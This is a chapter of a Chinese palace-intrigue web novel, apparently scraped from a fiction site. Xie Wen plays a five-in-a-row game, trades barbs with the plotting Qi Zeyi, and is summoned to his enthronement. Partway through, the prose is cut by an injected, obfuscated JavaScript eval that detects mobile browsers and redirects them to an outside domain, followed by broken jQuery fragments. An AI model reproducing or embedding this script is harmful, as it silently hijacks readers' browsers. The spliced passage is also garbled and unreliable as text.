118. 你们关系很熟吗?

作品:《全京城都觉得我爹是话本原型

    自从小师妹声称谢温居住附近有怪异味道,谢温闻不到,内心就像压着一块大石,叫她喘不过气,不能放松。


    她总是害怕会因为一些不经意的地方,而导致棋局翻涌,满盘皆输。


    “愣着做什么?快下啊。”小师妹催促道。


    两人闲来无事,小师妹又在殿内的旮旯角落找到棋盘和黑白棋子,兴致勃勃地找谢温下几盘棋,陶冶情//操。


    可惜谢温哪会什么围棋,看了看小师妹稚嫩未去的侧脸,选择教导她一款新的棋法。


    齐泽仪款款而来,便是瞧到两人像是杀红眼的模样。


    他俯身看着那盘满满当当皆是棋子的棋盘,黑白棋互不相让,挤成一团。齐泽仪看了许久,总觉得有些不对劲。


    “你这一角落的棋子不是活了?能绞死她了啊。”齐泽仪的折扇轻点一下右上角杀得片甲不留的棋子。


    小师妹先是虎躯一震,没享受高兴,余光一瞥看到齐泽仪指的地方,下一刻脸垮了。


    双手捧着脸蛋,哀怨又嫌弃:“臭棋篓子,不懂下棋的人快滚啊。”


    莫名其妙遭到嫌弃的齐泽仪有些讶然,他怔怔看着棋盘,没搞懂棋艺精湛的他怎么就不懂下棋了。


    小师妹手一伸,指指点点,“她无论横的竖的斜的,都堵死了我第五颗棋子,我还怎么活?”


    齐泽仪:“……什么第五颗棋?”


    小师妹瞅了他一眼,用看傻子的眼神。


    然后转头看谢温,赞叹道:“你说得对,这种棋只有聪明人才能玩。”瞧这傻大个,根本看不懂她们下的什么。


    傻大个·齐泽仪:“……”


    谢温看他吃瘪的表情,忍不住嘴角上扬。


    齐泽仪沉默看了半晌,决定掀翻这盘棋局,让小师妹非常不高兴,双手环胸怒瞪着他。


    忽然,处于被监视状态的谢温察觉齐泽仪的态度不对,试探性问道:“苟长命杀到皇宫了?”


    齐泽仪古怪地觑了她一下,“你在胡说什么?”


    哦不是啊,谢温冷漠地收回视线,重新整理棋盘,继续和小师妹下棋。


    齐泽仪见状:“你不继续问下去?”


    谢温下完一子,兴致缺缺,“等什么时候你告诉我蛮族大军杀到京城,我或许还有点兴趣继续问。”


    岂料齐泽仪却说:“我倒是想他们杀到京城,可惜没料到苟家竟然还藏了杀招。”


    “带兵杀你?”谢温施舍了一个眼神给他。


    齐泽仪顿住,啰哩啰嗦讲了别的事,“看来苟家真的是被战神眷顾,不然怎么会随随便便一个家族子弟,就能力抗蛮族几万大军。”


    看来蛮族那边碰到铁板,让齐泽仪的下一步走不下去。


    谢温知晓自己这头岁月静好,那头是有人在战场上拼死血斗,她每走一步棋,或许就有一条鲜活的性命魂归九霄。


    她有办法阻止吗,她能阻止吗,唯有闭上双眼,合上耳朵,不闻不问,方能继续苟且下去,去争那希望渺茫的未来。


    谢温:“你到底是怕苟长命将你多年盘算碾碎,还是蛮族就此灭绝,你当皇帝的梦就此破灭?”


    齐泽仪仍是保持不变的态度,“我能不能当皇帝无所谓,只是进展有些快,会打乱我的计划。”


    闻言,谢温纳闷道:“你做事情原来有计划的吗?”


    她看着只觉得他时常发癫,做事没什么逻辑,感觉是走哪都随便发几回癫。


    齐泽仪斜睨她,有些不屑,“如果我没有,你又何必委身于此,看守着我?”


    不仅是齐泽仪监视着谢温,齐泽仪同样心知谢温在留意他的动向。她们之间的关系比较扭曲,相互防备却又能心平气和坐下来闲聊几句。


    “你说,这苟家子弟到底是不是我们那位失踪已久下落不明的苟大将军苟长命?”


    齐泽仪身子前倾,似笑非笑。


    小师妹趁谢温不为意,暗戳戳地培养起一个小角,终于在轮到她执棋时,痛痛快快啪嗒一下,完成第五颗棋子的连线。


    下了那么多盘,等了那么久,终于赢了谢温一次,兴奋的小师妹手舞足蹈。


    谢温放回抓住的光滑白棋,那白棋进入棋盒,瞬间融入其中,泯灭于众。


    她淡淡道:“你说,你跟苟长命的关系那么熟稔的吗?”


    “都可直呼他大名。”


    齐泽仪颇感无语,“为什么你总是关注一些奇奇怪怪的地方。”


    谢温想了想,道:“可能因为我总是对着一个疯子?”


    齐泽仪意味深长地看着她,随后指了指小师妹,“她不是大夫?没把你治好?”


    齐泽仪的神情像是谢温倘若还是那么癫癫丧丧,他便直接下令,将小师妹这个没本事的大夫拖下去斩了。


    小师妹白了他一眼,“我这有药能治好你,就看你敢不敢吃。”


    说着她不知从哪里掏出一颗大药丸,药丸躺在她小小的手心,直迎齐泽仪。


    齐泽仪将折扇一收,竟真的拿了起来往嘴里塞,整个过程丝滑无卡顿,让掏出药丸的小师妹都愣神了。


    “你们宫里人,都这么心大吗?”


    这跟她在话本上看到的不一样啊。


    谢温仰头望向艰难咀嚼着的齐泽仪,“味道如何?”


    齐泽仪轻轻吞咽过后,才道:“以后莫要再半夜时分偷偷摸摸跑去膳房做糕点。黑灯瞎火的,放了什么都不知道。”


    小师妹骇然,移到谢温身边,小声嘀咕:“他怎么知道这个药丸是我们昨夜偷做的糕点?”


    她们二人半夜感觉有些饿,想找点东西打打牙祭,打开殿门是找不到半个宫人,只有岿然不动的士兵目不斜视地看守。


    谢温是唤不动那些兵,他们也不允许谢温入夜之后四处乱走。至于铁头,他晚上得守在齐泽仪身边,不能顾着谢温。


    于是谢温与小师妹只好悄眯眯观外面看守的人轮岗间隙,偷偷溜出去再溜回来。


    当时小师妹甚至摸出金针,打算一人来一根,扎晕算了。可谢温瞻前顾后,担忧齐泽仪这发癫的突然偷袭来查岗,制止了小师妹。


    结果折腾半天,还是叫齐泽仪知道了。


    这种时候会退缩就不是谢温了。


    她毫不客气道:“那你给点权力,让我能使唤外头那些木头去膳房给我整点薯条。”


    “何为薯条?”齐泽仪微微皱眉。


    谢温脸不红心不跳:“你刚才吃的糕点名字。”


    小师妹疑惑开口:“我怎么不知道它叫这名?”


    下一刻她被谢温捂住叭叭的小嘴。


    齐泽仪不太想理她们的眉眼官司,“我吩咐他们了,以后你若想要什么,尽管说就是。”


    “我想要你的皇位。”谢温幽幽地说道。


    “可以。”齐泽仪毫不犹豫。


    小师妹听着这两人对话,感觉是不是她也疯了,为什么皇位说要就要,偏偏说给还真给啊。


    齐泽仪从走进来的铁头手里接过奏章,丢在谢温盘着的双腿上。


    “你想要,那你后日就替我去登基大典吧。”


    谢温没有动作


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16486998|176679||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,小师妹率先拿起,摊开看起来。


    谢温无须认真看,都能猜到上面的正是那日皇帝齐懿亲笔写下的传位诏书。齐泽仪后头找人按照登基大典的规格润笔了。


    “你要不要去?”齐泽仪看谢温脸色难看,催促了一下。


    “去,当然去。”谢温咬牙切齿。


    齐泽仪得到满意的回复,不再继续折磨谢温。


    小师妹不理解她们的事,尤其见到齐泽仪一走,谢温像没了骨头一样瘫软。满头冷汗,脸色苍白,顿时以为她是病发。


    认认真真把脉半天,发现她只是有些虚弱,其它还好,才安下心。


    小师妹对谢温的反应有些困惑,可谢温不打算解释,小师妹没法,只好努力做好大夫本职,替谢温定时定候换药。


    经过她一番调理,谢温的右脚是好转了,只是脸上的疤痕难消,一眼望去,令人惋惜那姣好的容貌有刺眼的丑陋。


    “到底是哪个混蛋划得那么深?”小师妹回回看到那疤都觉得生气。


    甚至推测着谢温当时情况得有多么危急。


    谢温笑了笑,“再深的疤,遇到你也是小问题。”


    小师妹遭谢温这么一哄,怒气渐消,双手叉腰:“你该庆幸你把我带来了京城。”


    谢温连声称是,心里对齐泽仪的复杂更是被小师妹的插科打诨驱散。


    她一人处在这深宫之中,与虎谋皮,和一个癫癫狂狂的疯子不断交手,不停揣摩那些暗流之下的阴谋,日夜耗损心血,若不是有一些人突然伸出的手,她估计无法撑到现在。


    齐泽仪所讲的后日,如期而至。


    未到天明,谢温便察觉到整个皇宫活了起来。


    到处是走动的人群,闹得不得安生,小师妹默默拉高了被子,捂住耳朵,隔绝外面的嘈杂声。


    而谢温离了床榻,刚伸手,尚未打开门,那门便自己打开了。


    她迎头看向穿着耀眼赤红的齐泽仪,默了默问道:“你这是要成婚了吗?”


    齐泽仪嘴角微勾,“今日确实大喜。”


    铁头适时补充道:“只是希望殿下在穿上龙袍前,添些红沾沾喜气。”


    齐泽仪朝谢温伸出手,“来,我带你去最好的观赏区。”


    谢温径直把手一转,搭上了铁头的,“你走你的,我跟着就行。”


    齐泽仪被谢温下了面子,依然不动怒,和和气气地在前头走着。


    铁头看了看谢温随意的打扮,头发散着,有几缕翘起,摆明一副刚起来的模样。


    他轻声问道:“姑娘需要换身衣裳吗?”


    谢温歪头想了想,“你们这大典需要很长时间吗?”她还想参加完回来继续倒头睡。


    “不好说。”铁头还算年轻,之前未曾参与过皇帝齐懿的登基大典,目前能布置的事物皆是礼部保存下来的历史,每代皇帝登基情况都不同,哪里能给出一个准确的时间。


    谢温见此,不好多问,恍惚地跟着铁头抵达前殿。


    困意逐渐上涌,她一个人告别铁头,窝在一个小角落,等待着齐泽仪举行那些有的没的的仪式。


    打瞌睡的头一个垂落,她激灵一下,重新抬头,侧头之际与她身侧不知何时多出来的一个士兵对上眼。


    隔着朦胧的双眼,觉得这个人有些眼熟,她下意识揉揉眼睛,擦走里头的迷蒙。


    再等她看清楚后,倍感沉默。


    “……太子殿下,你想干嘛?”


    这名望着她的士兵,赫然就是先前不知所踪,如今乔装打扮的太子齐桓景。